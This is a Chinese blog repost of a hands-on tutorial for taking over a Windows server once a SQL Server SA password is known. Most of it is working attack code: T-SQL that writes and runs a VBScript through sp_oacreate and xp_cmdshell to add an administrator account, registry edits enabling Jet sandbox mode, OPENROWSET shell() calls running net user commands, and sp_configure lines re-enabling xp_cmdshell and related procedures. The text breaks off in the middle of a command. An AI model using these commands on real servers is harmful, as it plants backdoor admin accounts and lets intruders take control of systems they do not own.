記憶盒子

把記憶裝進(jìn)灰色的盒子,封裝起來,那年那月,重新拾起。

首頁搜索目錄
search
當(dāng)前主題: 軟件編程

最新Microsoft SQL Server SA權(quán)限入侵方法

作者:Kaka    時(shí)間:2009-6-30 23:6:11    瀏覽:    評(píng)論:0

      在獲得SA密碼后,往往因?yàn)榉?wù)器管理者或”前人”將net.exe和net1.exe被限制使用,無法添加管理員賬號(hào)。我們知道VBS在活動(dòng)目錄(ADSI)部分有一個(gè)winnt對(duì)象,用來管理本地資源,利用它可以不依靠CMD等命令就能添加一個(gè)管理員,具體代碼如下:


  set wsnetwork=CreateObject("WSCRIPT.NETWORK")
  os="WinNT://"&wsnetwork.ComputerName
  Set ob=GetObject(os) '得到adsi接口,綁定
  Set oe=GetObject(os&"/Administrators,group") '屬性,admin組
  Set od=ob.Create("user","test") '建立用戶
  od.SetPassword "1234" '設(shè)置密碼
  od.SetInfo '保存
  Set of=GetObject(os&"/test",user) '得到用戶
  oe.add os&"/test"

  將上面的代碼保存為1.vbs,然后執(zhí)行,命令為“cscript 1.vbs”,這樣就會(huì)在系統(tǒng)添加一個(gè)系統(tǒng)名為test,密碼為1234的用戶。具體在查詢分析器執(zhí)行的代碼如下:


  declare @o int, @f int, @t int, @ret int
  exec sp_oacreate 'scripting.filesystemobject', @o out
  exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
  exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
  ("WSCRIPT.NETWORK")'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
  ComputerName'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
  (os&"/Administrators,group")'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
  ("user","test")'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
  (os&"/test",user) '
  exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

  執(zhí)行完上面的語句,再執(zhí)行下面這行代碼,這行代碼一定單獨(dú)執(zhí)行,不要與上面的放在一起執(zhí)行,否則會(huì)提示“c:\1.vbs正被另一個(gè)程序運(yùn)行”而無法成功添加用戶:


  exec master..xp_cmdshell 'cscript c:\1.vbs'

  如果系統(tǒng)用戶沒有添加成功,有可能是因?yàn)橄到y(tǒng)用戶的密碼1234的太簡(jiǎn)單,不符合服務(wù)器的復(fù)雜密碼策略,可以考慮設(shè)置的復(fù)雜些,然后再測(cè)試一下。也可以使用echo將代碼寫到1.vbs中,代碼格式為:


  exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")
  >>1.vbs'

      不過,不知道為什么所有帶“&”字符的命令行都無法寫入1.vbs,感興趣的朋友可以嘗試解決一下。

  使用jet沙盤模式,可以解決XP_cmdshell等存儲(chǔ)過程和相關(guān)動(dòng)態(tài)鏈接庫(kù)帶來的煩惱。出于安全原因,系統(tǒng)默認(rèn)情況下沙盤模式未開啟,這就需要xp_regwrite開啟沙盤模式:


  Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
  \Engines','SandBoxMode','REG_Dword',1

  然后執(zhí)行沙盤命令,在系統(tǒng)添加一個(gè)用戶名為test,密碼為1234的用戶:


  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
  \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
  \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
  administrators test /add")')

  不同的操作系統(tǒng),路徑也不一樣,需要根據(jù)情況做修改:


  NT/2K: c:\winnt\system32\
  XP/2003: c:\windows\system32\

  另外Microsoft sql server2005在默認(rèn)情況下,一些存儲(chǔ)過程是關(guān)閉著的,需要命令打開:

  開啟XP_cmdshell:


  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
  'xp_cmdshell', 1;RECONFIGURE;

  開啟'OPENROWSET':


  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
  'Ad Hoc Distributed Queries',1;RECONFIGURE;

  開啟'sp_oacreate':


  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp

 

作者: blue1000

出處:IT專家網(wǎng)論壇

本文連接地址:http://www.howtostagehomes.com/blog/archives/SQL-Server-SA-Right-Invading.html

 

x

標(biāo)簽: SQL Server  

※ 網(wǎng)站速度慢?試試網(wǎng)站自動(dòng)優(yōu)化工具 ※

  • 擴(kuò)展閱讀
上一篇: Mozilla FireFox 3.5 發(fā)布 顯著性能提升!
下一篇: 人類失蹤謎案的源頭:"時(shí)空隧道"?

發(fā)表評(píng)論:

◎歡迎參與討論,請(qǐng)?jiān)谶@里發(fā)表您的看法、交流您的觀點(diǎn)。

訂閱博客                   QQ交流群(312716741)

  • 通過Google訂閱本站 通過鮮果訂閱本站 通過抓蝦訂閱本站
  • 通過QQ郵箱訂閱本站 通過Yahoo訂閱本站 通過有道訂閱本站

Search

最新評(píng)論及回復(fù)

最近留言

網(wǎng)站分類

Powered By Z-Blog 1.8 Walle Build 91204 Designed by Han'space

Copyright @2009-2024 All Rights Reserved. 粵ICP備14028160號(hào)-1

Powered By Z-Blog 1.8 Walle Build 91204
Copyright @2009-2024 All Rights Reserved.